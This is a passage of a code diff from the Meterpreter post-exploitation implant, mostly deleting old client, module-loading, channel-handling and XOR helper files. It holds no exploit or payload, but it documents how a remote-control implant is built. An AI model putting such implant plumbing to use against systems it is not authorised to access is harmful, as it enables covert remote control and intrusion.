_snprintf_s(clientLibraryPath, sizeof(clientLibraryPath), sizeof(clientLibraryPath) - 1,
"%s%sext_client_%s.dll",
(path) ? path : "",
(path) ? "\\" : "",
currentModule);
_snprintf_s(serverLibraryPath, sizeof(clientLibraryPath), sizeof(clientLibraryPath) - 1,
"%s%sext_server_%s.dll",
(path) ? path : "",
(path) ? "\\" : "",
currentModule);
// Try to load the client library
if ((res = module_load_client(remote, currentModule, clientLibraryPath))
!= ERROR_SUCCESS)
break;
console_write_output("Successfully loaded '%s' on the client.\n", currentModule);
loadlibArgc = 0;
loadlibArgv[loadlibArgc++] = "loadlib";
// Now load the library on the remote machine
if (diskOnly)
{
// loadlib -f server_mod_path -e
loadlibArgv[loadlibArgc++] = "-f";
loadlibArgv[loadlibArgc++] = serverLibraryPath;
loadlibArgv[loadlibArgc++] = "-e";
}
else
{
// loadlib -f server_mod_path -l -e
loadlibArgv[loadlibArgc++] = "-f";
loadlibArgv[loadlibArgc++] = serverLibraryPath;
loadlibArgv[loadlibArgc++] = "-l";
loadlibArgv[loadlibArgc++] = "-e";
}
// Call the load library command
res = cmd_loadlib(remote, loadlibArgc, loadlibArgv);
if (comma)
{
*comma = ',';
currentModule = comma + 1;
}
else
currentModule = NULL;
}
} while (0);
if (printBanner)
{
console_write_output(
"Usage: use -m module1,module2,module3 [ -p path ] [ -d ]\n\n"
" -m <mod> The names of one or more module(s) to load (e.g. 'net').\n"
" -p <path> The path to load the module(s) from locally.\n"
" -d Load the library from disk, do not upload.\n");
}
return res;
}

View File

@ -1,103 +0,0 @@
#include "metcli.h"
extern VOID remote_register_core_dispatch_routines();
extern VOID remote_deregister_core_dispatch_routines();
// include the OpenSSL library
#pragma comment(lib,"libeay32.lib")
#pragma comment(lib,"ssleay32.lib")
HANDLE clientLock = NULL;
/*
* Entry point for the client
*/
int main(int argc, char **argv)
{
struct sockaddr_in s;
Remote *remote = NULL;
SOCKET cli;
WSADATA data;
srand(time(NULL));
WSAStartup(0x0202, &data);
printf("ERROR: This client is out of date and does not support SSL\n");
exit(0);
if (argc < 3)
{
printf("Usage: %s <host> <port>\n", argv[0]);
return 0;
}
do
{
if ((cli = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf(stderr, "listen: %lu\n", GetLastError());
break;
}
s.sin_family = AF_INET;
s.sin_port = htons((SHORT)atoi(argv[2]));
s.sin_addr.s_addr = inet_addr(argv[1]);
printf("Connecting to %s:%d...\n", argv[1], atoi(argv[2]));
if (connect(cli, (struct sockaddr *)&s, sizeof(s)) < 0)
{
fprintf(stderr, "connect: %lu\n", GetLastError());
break;
}
printf("Initialized with server fd %lu.\n", cli);
if (!(remote = remote_allocate(cli)))
{
fprintf(stderr, "remote_allocate: %lu\n", GetLastError());
break;
}
// Initialize the console display
console_initialize(remote);
// Register core remote dispatch routines
remote_register_core_dispatch_routines();
// Process commands
console_process_commands(remote);
// Deregister core remote dispatch routines
remote_deregister_core_dispatch_routines();
} while (0);
return 0;
}
/*
* Initializes the global client lock
*/
VOID client_init_lock()
{
clientLock = CreateMutex(NULL, FALSE, NULL);
}
/*
* Acquires the global client lock
*/
VOID client_acquire_lock()
{
WaitForSingleObjectEx(clientLock, INFINITE, FALSE);
}
/*
* Releases the global client lock
*/
VOID client_release_lock()
{
ReleaseMutex(clientLock);
}

View File

@ -1,4 +0,0 @@
EXPORTS
scheduler_insert_waitable @1
scheduler_remove_waitable @2
scheduler_run @3

View File

@ -1,13 +0,0 @@
#ifndef _METERPRETER_CLIENT_METCLI_H
#define _METERPRETER_CLIENT_METCLI_H
#include "../common/common.h"
#include "console.h"
#include "module.h"
VOID client_init_lock();
VOID client_acquire_lock();
VOID client_release_lock();
#endif

View File

@ -1,163 +0,0 @@
#include "metcli.h"
typedef struct _ClientModule
{
LPSTR name;
LPSTR path;
HMODULE handle;
struct _ClientModule *prev;
struct _ClientModule *next;
} ClientModule;
ClientModule *clientModules = NULL;
/*
* Load and initialize a client module
*/
DWORD module_load_client(Remote *remote, LPCSTR name, LPCSTR path)
{
ClientModule *current = NULL;
DWORD res = ERROR_SUCCESS;
DWORD (*init)(Remote *remote);
do
{
// Allocate storage for tracking the module
if (!(current = (ClientModule *)malloc(sizeof(ClientModule))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Zero the buffer
memset(current, 0, sizeof(ClientModule));
current->name = _strdup(name);
current->path = _strdup(path);
// Duplication of name/path failed?
if ((!current->name) || (!current->path))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Try to load the library from the supplied path
if (!(current->handle = LoadLibrary(current->path)))
{
res = GetLastError();
break;
}
// Try to find the initialization entry point
if (!(init = (DWORD (*)(Remote *))GetProcAddress(current->handle,
"InitClientExtension")))
{
res = GetLastError();
break;
}
// Initialize the module
init(remote);
// Add the new module to the list
if (clientModules)
clientModules->prev = current;
current->next = clientModules;
clientModules = current;
} while (0);
// Clean up on failure
if (res != ERROR_SUCCESS)
{
if (current)
{
if (current->path)
free(current->path);
if (current->name)
free(current->name);
free(current);
}
}
return res;
}
/*
* Enumerate the list of modules, returning a pointer to the name at
* the given index in the output parameter
*/
DWORD module_enumerate_client(DWORD index, LPCSTR *name)
{
ClientModule *current;
DWORD cindex = 0;
DWORD res = ERROR_SUCCESS;
for (current = clientModules, cindex = 0;
cindex < index && current;
cindex++, current = current->next);
if (current)
*name = current->name;
else
res = ERROR_NOT_FOUND;
return res;
}
/*
* Unload a previously loaded module of a given name
*/
DWORD module_unload_client(Remote *remote, LPCSTR name)
{
ClientModule *current = NULL, *prev = NULL;
DWORD (*deinit)(Remote *remote);
DWORD res = ERROR_SUCCESS;
do
{
// Try to locate the module
for (current = clientModules;
current;
prev = current, current = current->next)
{
if (!strcmp(current->name, name))
break;
}
// Not located?
if (!current)
{
res = ERROR_NOT_FOUND;
break;
}
// Remove the module from the list
if (prev)
prev->next = current->next;
else
clientModules = current->next;
if (current->next)
current->next->prev = prev;
// Call the module's deinitialization routine if it exports one
if ((deinit = (DWORD (*)(Remote *))GetProcAddress(current->handle,
"DeinitClientExtension")))
deinit(remote);
// Deallocate & unload the module
FreeLibrary(current->handle);
free(current->path);
free(current->name);
free(current);
} while (0);
return res;
}

View File

@ -1,8 +0,0 @@
#ifndef _METERPRETER_SOURCE_CLIENT_MODULE_H
#define _METERPRETER_SOURCE_CLIENT_MODULE_H
DWORD module_load_client(Remote *remote, LPCSTR name, LPCSTR path);
DWORD module_enumerate_client(DWORD index, LPCSTR *name);
DWORD module_unload_client(Remote *remote, LPCSTR name);
#endif

View File

@ -1,70 +0,0 @@
#include "metcli.h"
/*
* Extension callback for printing out notifications for channels opening
*/
DWORD ex_remote_response_core_channel_open(Remote *remote, Packet *packet)
{
DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
if (channelId)
{
console_write_output(
"\n"
INBOUND_PREFIX " CHANNEL: New remote channel allocated: %lu.\n",
channelId);
console_write_prompt();
}
return ERROR_SUCCESS;
}
/*
* Extension callback for printing out notifications for when the remote
* endpoint is telling us to close a channel
*/
DWORD ex_remote_request_core_channel_close(Remote *remote, Packet *packet)
{
DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
if (channelId)
{
// If an interactive channel is closing, reset it
if (channelId == console_get_interactive_channel_id())
console_set_interactive_channel(remote, NULL);
}
return ERROR_SUCCESS;
}
/****************************
* Custom dispatch routines *
****************************/
// Dispatch table
Command customCommands[] =
{
COMMAND_REP("core_channel_open", ex_remote_response_core_channel_open),
COMMAND_REP("core_channel_close", ex_remote_response_core_channel_cloase),
COMMAND_TERMINATOR
};
/*
* Registers custom command handlers
*/
VOID remote_register_core_dispatch_routines()
{
command_register_all(customCommands);
}
/*
* Deregisters previously registered custom commands
*/
VOID remote_deregister_core_dispatch_routines()
{
command_deregister_all(customCommands);
}

View File

@ -1,105 +0,0 @@
#include "common.h"
/*
* Parses a file into a buffer
*/
DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length)
{
DWORD res, fileSize = 0, bytesRead = 0, bytesLeft = 0, offset = 0;
PUCHAR localBuffer = NULL;
HANDLE h;
if (buffer)
*buffer = NULL;
if (length)
*length = 0;
do
{
// Try to open the file for reading
if ((h = CreateFile(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
{
res = GetLastError();
break;
}
// Get the size, in bytes, of the file
if (!(fileSize = GetFileSize(h, NULL)))
{
res = GetLastError();
break;
}
// Allocate storage for the file data being read in
if (!(localBuffer = (PUCHAR)malloc(fileSize)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
bytesLeft = fileSize;
// Keep reading file contents
while ((bytesLeft) &&
(ReadFile(h, localBuffer + offset, bytesLeft, &bytesRead, NULL)))
{
bytesLeft -= bytesRead;
offset += bytesRead;
}
res = ERROR_SUCCESS;
} while (0);
if (h != INVALID_HANDLE_VALUE)
CloseHandle(h);
if (res == ERROR_SUCCESS)
{
if (buffer)
*buffer = localBuffer;
if (length)
*length = offset;
}
return res;
}
/*
* Writes a buffer to a file
*/
DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length)
{
DWORD res, offset = 0, bytesLeft = 0, bytesWritten = 0;
HANDLE h;
do
{
// Try to open the file for writing
if ((h = CreateFile(filePath, GENERIC_WRITE, 0, NULL, CREATE_NEW,
FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
{
res = GetLastError();
break;
}
bytesLeft = length;
// Keep writing until everything is written
while ((bytesLeft) &&
(WriteFile(h, buffer + offset, bytesLeft, &bytesWritten, NULL)))
{
bytesLeft -= bytesWritten;
offset += bytesWritten;
}
res = ERROR_SUCCESS;
} while (0);
if (h != INVALID_HANDLE_VALUE)
CloseHandle(h);
return res;
}

View File

@ -1,74 +0,0 @@
/*!
* @file args.c
* @brief Definitions for argument parsing functionality.
*/
#include "common.h"
/*!
* @brief Parse an argument vector by a parameter format specifier
* @details Intended to be called repeatedly until all arguments are parsed.
* Each call results in a single argument be parsed.
* @param argc Number of arguments to in the argument list.
* @param argv Array of arguments to parse.
* @param params String of supported parameters. eg \c abc:de: Parameters
* followed by a colon expect an associated argumetn
* @param ctx Pointer to a context used to keep track of parsing.
* @return Indication of whether parsing was successful.
* @retval ERROR_NOT_FOUND The specified parameter wasn't found in the
* argument list.
* @retval ERROR_INVALID_PARAMETER The specified parameter was missing an
associated argument.
* @retval ERROR_SUCCESS The argument was parsed correctly.
*/
DWORD args_parse(UINT argc, CHAR **argv, PCHAR params,
ArgumentContext *ctx)
{
DWORD index = 0;
if (!ctx->currentIndex)
ctx->currentIndex = 1;
index = ctx->currentIndex;
// We've hit the end, return out.
if (index >= argc)
return ERROR_NOT_FOUND;
// Is this a toggled parameter?
if (argv[index][0] == '-')
{
PCHAR currentParam = params;
BOOL hasParam = FALSE;
// Check to see if this argument expects a parameter
while (*currentParam)
{
if (*currentParam == argv[index][1])
{
hasParam = (*(currentParam + 1) == ':') ? TRUE : FALSE;
break;
}
currentParam++;
}
// If this param requires an argument yet is not given one, fail.
if ((hasParam) &&
(index + 1 >= argc))
return ERROR_INVALID_PARAMETER;
ctx->argument = (hasParam) ? argv[index+1] : NULL;
ctx->toggle = argv[index][1];
// Skip past the parameter.
if (hasParam)
++index;
}
else
ctx->toggle = 0;
// Update the index
ctx->currentIndex = ++index;
return ERROR_SUCCESS;
}

View File

@ -1,21 +0,0 @@
/*!
* @file args.h
* @brief Definitions for argument parsing functionality.
*/
#ifndef _METERPRETER_LIB_ARGS_H
#define _METERPRETER_LIB_ARGS_H
#include "linkage.h"
/*! @brief State container for \c args_parse calls. */
typedef struct
{
DWORD currentIndex; ///< The index of the argument being parsed.
PCHAR argument; ///< Pointer to the current switch's argument.
CHAR toggle; ///< Indicates of this parameter is a toggle parameter.
} ArgumentContext;
LINKAGE DWORD args_parse(UINT argc, CHAR **argv, PCHAR params,
ArgumentContext *ctx);
#endif

View File

@ -1,608 +0,0 @@
#include "common.h"
/*
* core_channel_open
* -----------------
*
* Opens a channel with the remote endpoint. The response handler for this
* request will establish the relationship on the other side.
*
* opt: TLV_TYPE_CHANNEL_TYPE
* The channel type to allocate. If set, the function returns, allowing
* a further up extension handler to allocate the channel.
*/
DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
{
Packet *response;
DWORD res = ERROR_SUCCESS;
Channel *newChannel;
PCHAR channelType;
DWORD flags = 0;
do
{
dprintf( "[CHANNEL] Opening new channel for packet %p", packet );
// If the channel open request had a specific channel type
if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE)))
{
res = ERROR_NOT_FOUND;
break;
}
// Get any flags that were supplied
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
dprintf( "[CHANNEL] Opening %s %u", channelType, flags );
// Allocate a response
response = packet_create_response(packet);
// Did the response allocation fail?
if ((!response) || (!(newChannel = channel_create(0, flags))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
dprintf( "[CHANNEL] Opened %s %u", channelType, flags );
// Get the channel class and set it
newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS);
dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls );
// Add the new channel identifier to the response
if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
channel_get_id(newChannel))) != ERROR_SUCCESS)
break;
// Transmit the response
dprintf( "[CHANNEL] Sending response for %s", channelType );
res = packet_transmit(remote, response, NULL);
dprintf( "[CHANNEL] Done" );
} while (0);
return res;
}
/*
* core_channel_open (response)
* -----------------
*
* Handles the response to a request to open a channel.
*
* This function takes the supplied channel identifier and creates a
* channel list entry with it.
*
* req: TLV_TYPE_CHANNEL_ID -- The allocated channel identifier
*/
DWORD remote_response_core_channel_open(Remote *remote, Packet *packet)
{
DWORD res = ERROR_SUCCESS, channelId;
Channel *newChannel;
do
{
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
// DId the request fail?
if (!channelId)
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Create a local instance of the channel with the supplied identifier
if (!(newChannel = channel_create(channelId, 0)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
} while (0);
return res;
}
/*
* core_channel_write
* ------------------
*
* Write data from a channel into the local output buffer for it
*/
DWORD remote_request_core_channel_write(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS, channelId, written = 0;
Tlv channelData;
Channel * channel = NULL;
do
{
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
// Try to locate the specified channel
if (!(channel = channel_find_by_id(channelId)))
{
res = ERROR_NOT_FOUND;
break;
}
lock_acquire( channel->lock );
// Get the channel data buffer
if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData)) != ERROR_SUCCESS)
break;
// Handle the write operation differently based on the class of channel
switch (channel_get_class(channel))
{
// If it's buffered, write it to the local buffer cache
case CHANNEL_CLASS_BUFFERED:
res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written);
break;
// If it's non-buffered, call the native write operation handler if
// one is implemented
default:
{
NativeChannelOps *ops = (NativeChannelOps *)&channel->ops;
if (ops->write)
res = ops->write(channel, packet, ops->context,
channelData.buffer, channelData.header.length,
&written);
else
res = ERROR_NOT_SUPPORTED;
}
break;
}
} while (0);
if( channel )
lock_release( channel->lock );
// Transmit the acknowledgement
if (response)
{
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written);
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
res = packet_transmit_response(res, remote, response);
}
return res;
}
/*
* core_channel_read
* -----------------
*
* From from the local buffer and write back to the requester
*
* Takes TLVs:
*
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to read from
* req: TLV_TYPE_LENGTH -- The number of bytes to read
*/
DWORD remote_request_core_channel_read(Remote *remote, Packet *packet)
{
DWORD res = ERROR_SUCCESS, bytesToRead, bytesRead, channelId;
Packet *response = packet_create_response(packet);
PUCHAR temporaryBuffer = NULL;
Channel *channel = NULL;
do
{
if (!response)
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Get the number of bytes to read
bytesToRead = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH);
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
// Try to locate the specified channel
if (!(channel = channel_find_by_id(channelId)))
{
res = ERROR_NOT_FOUND;
break;
}
lock_acquire( channel->lock );
// Allocate temporary storage
if (!(temporaryBuffer = (PUCHAR)malloc(bytesToRead)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
break;
}
switch (channel_get_class(channel))
{
// If it's buffered, read from the local buffer and either transmit
// the buffer in the response or write it back asynchronously
// depending on the mode of the channel.
case CHANNEL_CLASS_BUFFERED:
// Read in from local
res = channel_read_from_buffered(channel, temporaryBuffer,
bytesToRead, (PULONG)&bytesRead);
break;
// Handle read I/O for the pool class
case CHANNEL_CLASS_POOL:
// If the channel has a read handler
if (channel->ops.pool.read)
res = channel->ops.pool.read(channel, packet,
channel->ops.pool.native.context, temporaryBuffer,
bytesToRead, &bytesRead);
else
res = ERROR_NOT_SUPPORTED;
break;
default:
res = ERROR_NOT_SUPPORTED;
}
// If we've so far been successful and we have a temporary buffer...
if ((res == ERROR_SUCCESS) &&(temporaryBuffer) && (bytesRead))
{
// If the channel should operate synchronously, add the data to theresponse
if (channel_is_flag(channel, CHANNEL_FLAG_SYNCHRONOUS))
{
// if the channel data is ment to be compressed, compress it!
if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, temporaryBuffer, bytesRead);
else
packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA, temporaryBuffer, bytesRead);
res = ERROR_SUCCESS;
}
// Otherwise, asynchronously write the buffer to the remote endpoint
else
{
if ((res = channel_write(channel, remote, NULL, 0, temporaryBuffer, bytesRead, NULL)) != ERROR_SUCCESS)
break;
}
}
} while (0);
if( channel )
lock_release( channel->lock );
if (temporaryBuffer)
free(temporaryBuffer);
// Transmit the acknowledgement
if (response)
{
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead);
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
res = packet_transmit_response(res, remote, response);
}
return res;
}
/*
* core_channel_close
* ------------------
*
* Closes a previously opened channel.
*
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close
*/
DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS, channelId;
Channel *channel = NULL;
dprintf("[CHANNEL] remote_request_core_channel_close.");
do
{
// Get the channel identifier
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
// Try to locate the specified channel
if (!(channel = channel_find_by_id(channelId)))
{
res = ERROR_NOT_FOUND;
dprintf("[CHANNEL] unable to find channel of id %d", channelId);
break;
}
// Destroy the channel
dprintf("[CHANNEL] closing channel of id %d", channelId);
channel_destroy(channel, packet);
if (response)
{
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
}
} while (0);
// Transmit the acknowledgement
if (response)
{
res = packet_transmit_response(res, remote, response);
}
return res;
}
/*
* core_channel_close (response)
* ------------------
*
* Removes the local instance of the channel
*
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close
*/
DWORD remote_response_core_channel_close(Remote *remote, Packet *packet)
{
DWORD res = ERROR_SUCCESS, channelId;
Channel *channel = NULL;
do
{
// Get the channel identifier
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
// Try to locate the specified channel
if (!(channel = channel_find_by_id(channelId)))
{
res = ERROR_NOT_FOUND;
break;
}
// Destroy the channel
channel_destroy(channel, packet);
} while (0);
return res;
}
/*
* core_channel_seek
* -----------------
*
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to seek on
* req: TLV_TYPE_SEEK_OFFSET -- The offset to seek to
* req: TLV_TYPE_SEEK_WHENCE -- The relativity to which the offset refers
*/
DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet)
{
Channel *channel = NULL;
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
do
{
// Lookup the channel by its identifier
if (!(channel = channel_find_by_id(
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
{
result = ERROR_NOT_FOUND;
break;
}
lock_acquire( channel->lock );
// Make sure this class is compatible
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
{
result = ERROR_NOT_SUPPORTED;
break;
}
// Call the function if it's set
if (channel->ops.pool.seek)
result = channel->ops.pool.seek(channel, packet,
channel->ops.pool.native.context,
(LONG)packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_OFFSET),
packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_WHENCE));
else
result = ERROR_NOT_SUPPORTED;
} while (0);
if( channel )
lock_release( channel->lock );
// Transmit the result
packet_transmit_response(result, remote, response);
return result;
}
/*
* core_channel_eof
* -----------------
*
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check eof on
*/
DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet)
{
Channel *channel = NULL;
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
BOOL isEof = FALSE;
do
{
// Lookup the channel by its identifier
if (!(channel = channel_find_by_id(
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
{
result = ERROR_NOT_FOUND;
break;
}
lock_acquire( channel->lock );
// Make sure this class is compatible
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
{
result = ERROR_NOT_SUPPORTED;
break;
}
// Call the function if it's set
if (channel->ops.pool.eof)
result = channel->ops.pool.eof(channel, packet,
channel->ops.pool.native.context,
&isEof);
else
result = ERROR_NOT_SUPPORTED;
} while (0);
if( channel )
lock_release( channel->lock );
// Add the EOF flag
packet_add_tlv_bool(response, TLV_TYPE_BOOL, isEof);
// Transmit the response
packet_transmit_response(result, remote, response);
return result;
}
/*
* core_channel_tell
* -----------------
*
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check tell on
*/
DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet)
{
Channel *channel = NULL;
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
LONG offset = 0;
do
{
// Lookup the channel by its identifier
if (!(channel = channel_find_by_id(
packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID))))
{
result = ERROR_NOT_FOUND;
break;
}
lock_acquire( channel->lock );
// Make sure this class is compatible
if (channel_get_class(channel) != CHANNEL_CLASS_POOL)
{
result = ERROR_NOT_SUPPORTED;
break;
}
// Call the function if it's set
if (channel->ops.pool.tell)
result = channel->ops.pool.tell(channel, packet,
channel->ops.pool.native.context,
&offset);
else
result = ERROR_NOT_SUPPORTED;
} while (0);
if( channel )
lock_release( channel->lock );
// Add the offset
packet_add_tlv_uint(response, TLV_TYPE_SEEK_POS, offset);
// Transmit the response
packet_transmit_response(result, remote, response);
return result;
}
/*
* core_channel_interact
* ---------------------
*
* req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with
* req: TLV_TYPE_BOOL -- True if interactive, false if not.
*/
DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Channel *channel = NULL;
DWORD channelId;
DWORD result = ERROR_SUCCESS;
BOOLEAN interact;
// Get the channel identifier
channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID);
interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL);
// If the channel is found, set the interactive flag accordingly
if ((channel = channel_find_by_id(channelId)))
{
lock_acquire( channel->lock );
// If the response packet is valid
if ((response) &&
(channel_get_class(channel) != CHANNEL_CLASS_BUFFERED))
{
NativeChannelOps *native = (NativeChannelOps *)&channel->ops;
// Check to see if this channel has a registered interact handler
dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context );
if (native->interact) {
result = native->interact(channel, packet, native->context, interact);
}
}
// Set the channel's interactive state
channel_set_interactive(channel, interact);
lock_release( channel->lock );
}
// Send the response to the requestor so that the interaction can be
// complete
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* core_shutdown
* -----------------
*/
DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult )
{
Channel *channel = NULL;
Packet *response = packet_create_response( packet );
DWORD result = ERROR_SUCCESS;
// Acknowledge the shutdown request
packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
// Transmit the response
dprintf("[DISPATCH] Ack shutdown request");
packet_transmit_response( result, remote, response );
*pResult = result;
dprintf("[DISPATCH] Telling dispatch loop to finish");
// We always return FALSE here to tell the server to terminate.
return FALSE;
}

View File

@ -1,9 +0,0 @@
#ifndef _METERPRETER_LIB_BUFFER_H
#define _METERPRETER_LIB_BUFFER_H
#include "linkage.h"
LINKAGE DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length);
LINKAGE DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length);
#endif

View File

@ -1,69 +0,0 @@
/*!
* @file common.c
* @brief Definitions for various common components used across the Meterpreter suite.
*/
#include "common.h"
#define SLEEP_MAX_SEC (MAXDWORD / 1000)
/*!
* @brief Returns a unix timestamp in UTC.
* @return Integer value representing the UTC Unix timestamp of the current time.
*/
int current_unix_timestamp(void) {
SYSTEMTIME system_time;
FILETIME file_time;
ULARGE_INTEGER ularge;
GetSystemTime(&system_time);
SystemTimeToFileTime(&system_time, &file_time);
ularge.LowPart = file_time.dwLowDateTime;
ularge.HighPart = file_time.dwHighDateTime;
return (long)((ularge.QuadPart - 116444736000000000) / 10000000L);
}
/*!
* @brief Sleep for the given number of seconds.
* @param seconds DWORD value representing the number of seconds to sleep.
* @remark This was implemented so that extended sleep times can be used (beyond the
* 49 day limit imposed by Sleep()).
*/
VOID sleep(DWORD seconds)
{
while (seconds > SLEEP_MAX_SEC)
{
Sleep(SLEEP_MAX_SEC * 1000);
seconds -= SLEEP_MAX_SEC;
}
Sleep(seconds * 1000);
}
VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize)
{
dprintf("[XOR] XORing %u bytes with key %02x%02x%02x%02x", bufferSize, xorKey[0], xorKey[1], xorKey[2], xorKey[3]);
for (DWORD i = 0; i < bufferSize; ++i)
{
buffer[i] ^= xorKey[i % 4];
}
}
VOID rand_xor_key(BYTE buffer[4])
{
static BOOL initialised = FALSE;
if (!initialised)
{
srand((unsigned int)time(NULL));
initialised = TRUE;
}
buffer[0] = (rand() % 254) + 1;
buffer[1] = (rand() % 254) + 1;
buffer[2] = (rand() % 254) + 1;
buffer[3] = (rand() % 254) + 1;
}
BOOL is_null_guid(BYTE guid[sizeof(GUID)])
{
return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE;
}

View File

@ -17,6 +17,25 @@
#include <winsock2.h>
#include <windows.h>
// Simple trick to get the current meterpreters arch
#define PROCESS_ARCH_UNKNOWN 0
#define PROCESS_ARCH_X86 1
#define PROCESS_ARCH_X64 2
#define PROCESS_ARCH_IA64 3
#ifdef _WIN64
#define dwMeterpreterArch PROCESS_ARCH_X64
#else
#define dwMeterpreterArch PROCESS_ARCH_X86
#endif
typedef struct __UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} _UNICODE_STRING, * _PUNICODE_STRING;
typedef DWORD __u32;
typedef struct ___u128 {
__u32 a1;
@ -34,34 +53,6 @@ typedef struct ___u128 {
#undef X509_CERT_PAIR
#undef X509_NAME
#include "linkage.h"
#include "args.h"
#include "buffer.h"
#include "base.h"
#include "core.h"
#include "remote.h"
#include "channel.h"
#include "scheduler.h"
#include "thread.h"
#include "unicode.h"
#include "list.h"
#include "zlib/zlib.h"
/*! @brief Indication that the Meterpreter transport is using TCP. */
#define METERPRETER_TRANSPORT_TCP 0x1
/*! @brief Indication that the Meterpreter transport is using HTTP. */
#define METERPRETER_TRANSPORT_HTTP 0x2
/*! @brief Indication that the Meterpreter transport is using HTTPS. */
#define METERPRETER_TRANSPORT_HTTPS (0x4 | METERPRETER_TRANSPORT_HTTP)
/*! @brief Indication that the Meterpreter transport is using named pipes. */
#define METERPRETER_TRANSPORT_PIPE 0x8
VOID sleep(DWORD seconds);
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
#if DEBUGTRACE == 1
@ -107,9 +98,14 @@ static _inline void real_dprintf(char *format, ...)
va_end(args);
}
#endif
#include "common_base.h"
#include "common_core.h"
#include "common_remote.h"
#include "common_channel.h"
#include "common_list.h"
#include "common_config.h"
#include "common_pivot_tree.h"
#include "common_thread.h"
#include "common_scheduler.h"
int current_unix_timestamp(void);
VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize);
BOOL is_null_guid(BYTE guid[sizeof(GUID)]);
VOID rand_xor_key(BYTE buffer[4]);
#endif

View File

@ -1,110 +1,94 @@
/*!
* @file base.h
* @brief Declarations, macros and types that apply to almost any Meterpreter component.
*/
#ifndef _METERPRETER_BASE_H
#define _METERPRETER_BASE_H
#include "linkage.h"
#include "core.h"
/*! @brief Function pointer type that defines the interface for a dispatch handler. */
